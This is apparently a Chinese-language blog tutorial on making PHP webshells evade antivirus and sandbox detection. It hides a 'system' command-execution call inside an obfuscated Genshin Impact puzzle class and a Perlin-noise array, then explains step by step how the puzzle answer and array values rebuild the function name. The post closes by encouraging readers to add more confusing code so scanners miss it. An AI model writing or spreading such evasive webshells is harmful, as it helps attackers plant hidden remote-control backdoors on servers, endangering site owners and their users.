对于webshell免杀来说,类绕过是最有效果且不易被检测出来的,那如果我们对类进行操作,在类里面加入一些算法和混淆代码,让代码逻辑变得十分混乱,不易读,甚至读不懂,但是却能够执行命令,可以rce,那岂不是可以bypass所有的杀毒软件和云沙箱了吗?
利用稻妻雷元素方块阵
《原神》中的稻妻雷元素方块阵是一个解谜游戏
下面是示例代码:
class InazumaPuzzle {
private $blockA = 0;
private $blockB = 0;
private $blockC = 0;
private $blockD = 0;
private $MAX_ENUM = 2;
private $MIN_ENUM = 0;
public function __construct() {
$this->blockA = 2;
$this->blockB = 0;
$this->blockC = 0;
$this->blockD = 2;
}
private function setBackBlock($block) {
$setType = $this->MIN_ENUM;
$maxType = $this->MAX_ENUM;
switch ($block) {
case 'A':
if ($this->blockA == $maxType) {
$this->blockA = $setType;
return true;
} else {
return false;
}
case 'B':
if ($this->blockB == $maxType) {
$this->blockB = $setType;
return true;
} else {
return false;
}
case 'C':
if ($this->blockC == $maxType) {
$this->blockC = $setType;
return true;
} else {
return false;
}
case 'D':
if ($this->blockD == $maxType) {
$this->blockD = $setType;
return true;
} else {
return false;
}
default:
throw new Exception("bad_args", 1);
}
}
private function hit($blockIdx) {
global $text;
$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
switch ($blockIdx) {
case "A":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
break;
case "B":
if (!$this->setBackBlock("A")) {
$this->blockA += 1;
}
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
break;
case "C":
if (!$this->setBackBlock("B")) {
$this->blockB += 1;
}
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
case "D":
if (!$this->setBackBlock("C")) {
$this->blockC += 1;
}
if (!$this->setBackBlock("D")) {
$this->blockD += 1;
}
break;
default:
throw new Exception("bad_args", 1);
}
}
public function __AFG50CE4_RG1() {
global $puzz_writeup;
if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);
// bcdufvcf%00
$i++) {
if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i]
,"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
}
for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);
global $userans;
$userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;
}
public function getLockerStatus() {
global $text;$text =strrev($text);
if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
else return false;
}
}
function pause($obj) {
global $appor5nnb;
if (!$appor5nnb -> getLockerStatus()) die();
return $obj;
}
根据InazumaPuzzle类的构造函数,方块的初始状态如下:
blockA = 2
blockB = 0
blockC = 0
blockD = 2
每个方块的状态值可以循环从0到2(即最小值为0,最大值为2)。
setBackBlock() 方法的作用
setBackBlock()方法用于尝试将指定方块重置为其最小状态(即0)。如果该方块已经处于最大状态(即2),则它可以被重置为最小状态并返回true;否则它不会改变,并返回false。
hit() 方法的行为
hit()方法接受一个方块标识符(如"A"、"B"、"C"或"D"),然后执行以下操作:
对于点击的方块及其关联的方块调用setBackBlock()。
如果setBackBlock()返回false,则相应方块的状态加1。
具体来说:
点击A:尝试重置A和B,若不能重置,则它们各自加1。
点击B:尝试重置A、B和C,若不能重置,则它们各自加1。
点击C:尝试重置B、C和D,若不能重置,则它们各自加1。
点击D:尝试重置C和D,若不能重置,则它们各自加1。
解析输入序列 ABBCCD
现在我们来按照给定的输入序列ABBCCD一步一步地看每个点击对方块状态的影响:
第一步:点击 A
尝试重置A(当前状态为2),成功重置为0。
尝试重置B(当前状态为0),失败,因此B变为1。
结果:blockA = 0, blockB = 1, blockC = 0, blockD = 2
第二步:点击 B
尝试重置A(当前状态为0),失败,因此A变为1。
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
结果:blockA = 1, blockB = 2, blockC = 1, blockD = 2
第三步:再次点击 B
尝试重置A(当前状态为1),失败,因此A变为2。
尝试重置B(当前状态为2),成功重置为0。
尝试重置C(当前状态为1),失败,因此C变为2。
结果:blockA = 2, blockB = 0, blockC = 2, blockD = 2
第四步:点击 C
尝试重置B(当前状态为0),失败,因此B变为1。
尝试重置C(当前状态为2),成功重置为0。
尝试重置D(当前状态为2),成功重置为0。
结果:blockA = 2, blockB = 1, blockC = 0, blockD = 0
第五步:再次点击 C
尝试重置B(当前状态为1),失败,因此B变为2。
尝试重置C(当前状态为0),失败,因此C变为1。
尝试重置D(当前状态为0),失败,因此D变为1。
结果:blockA = 2, blockB = 2, blockC = 1, blockD = 1
第六步:点击 D
尝试重置C(当前状态为1),失败,因此C变为2。
尝试重置D(当前状态为1),失败,因此D变为2。
结果:blockA = 2, blockB = 2, blockC = 2, blockD = 2
最终,所有方块的状态都变成了2,满足了getLockerStatus()方法中的条件,即所有方块的状态相同,因此返回true,表示谜题被正确解开。

柏林噪音
柏林噪声属于基于晶格(Lattice based)的生成算法。其核心思想是定义一个晶格结构,在二维情况下是一个平面网格,在三维情况下则是一个立方体网络。每个晶格顶点都有一个预定义的梯度向量,当给定一个点时(在二维情况下为坐标(x, y),在三维情况下为坐标(x, y, z)),需要计算该点到所在晶格顶点的距离向量,并将这些距离向量与相应的梯度向量做点积运算,得到一系列影响值。

代码解读
关键代码:
$ab = pause(array_map(function($arr) { return chr($arr); }, array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3)));
array_slice 函数:
array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3) 提取了 perlin_noise 数组的一部分,起始位置是 (188 * 2) + ($userans * 3),长度是 $userans - 3。
array_map 函数:
array_map(function($arr) { return chr($arr); }, ...) 将提取的整数数组转换为对应的ASCII字符数组。
- 计算切片位置和长度
假设我们想要提取四个特定的值 [121, 116, 101, 109],那么我们需要确定切片的起始位置和长度:
起始位置:(188 * 2) + ($userans * 3)
长度:$userans - 3
例如,如果我们设 $userans = 7,则:
起始位置:(188 * 2) + (7 * 3) = 376 + 21 = 397
长度:7 - 3 = 4
这意味着我们将从 perlin_noise 数组的索引 397 开始,提取长度为 4 的子数组。
- 确保 perlin_noise 包含所需值
为了让 array_slice 提取出 [121, 116, 101, 109],我们需要在 perlin_noise 数组的相应位置插入这些值。即:
$this->perlin_noise[397] = 121; // ASCII 'y'
$this->perlin_noise[398] = 116; // ASCII 't'
$this->perlin_noise[399] = 101; // ASCII 'e'
$this->perlin_noise[400] = 109; // ASCII 'm'
- 控制 userans 和其他参数
为了确保上述计算正确无误,需要控制 userans 和其他可能影响 perlin_noise 数组生成的参数。特别是,在构造 PerlinNoise 对象时,应该确保 arrLength 足够大,以容纳所需的索引范围,并且初始化过程中不会覆盖这些特定值。
示例代码:
$userans = 7;
// 假设 PerlinNoise 对象已经创建,并且 arrLength 足够大
$cvb33ff55 = new PerlinNoise(401, 700.4, 56.7, "DIFF_PERLIN");
// 手动设置 perlin_noise 数组中的特定值
$cvb33ff55->perlin_noise[397] = 121; // ASCII 'y'
$cvb33ff55->perlin_noise[398] = 116; // ASCII 't'
$cvb33ff55->perlin_noise[399] = 101; // ASCII 'e'
$cvb33ff55->perlin_noise[400] = 109; // ASCII 'm'
// 继续执行后续操作
$cvb33ff55->__BHUYTVV8_1();
$cvb33ff55->__CPRBB0R0_l();
// 模拟生成 ab 数组
$ab = pause(array_map(function($arr) { return chr($arr); }, array_slice($cvb33ff55->perlin_noise, (188*2)+$userans*3, $userans-3)));
// 输出结果验证
var_dump($ab); // 应该输出 ['y', 't', 'e', 'm']
通过精确控制 perlin_noise 数组中特定索引处的值,并结合适当的 userans 参数,可以确保 $ab 数组包含所需的ASCII码值 [121, 116, 101, 109],这个时候$ad=ystem。
这个时候我们令$b=s
$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
那么$c=system了,就构造好了命令执行函数,$pcs就是我们要执行的命令。

这个代码看着就乱,根本读不下去,里面很多无用代码,很容易被误导,读不懂。

webshell的免杀有很多方式,师傅们可以多加一些复杂的算法和注释进去,让代码变得混乱,这样杀毒软件就很难检测了。
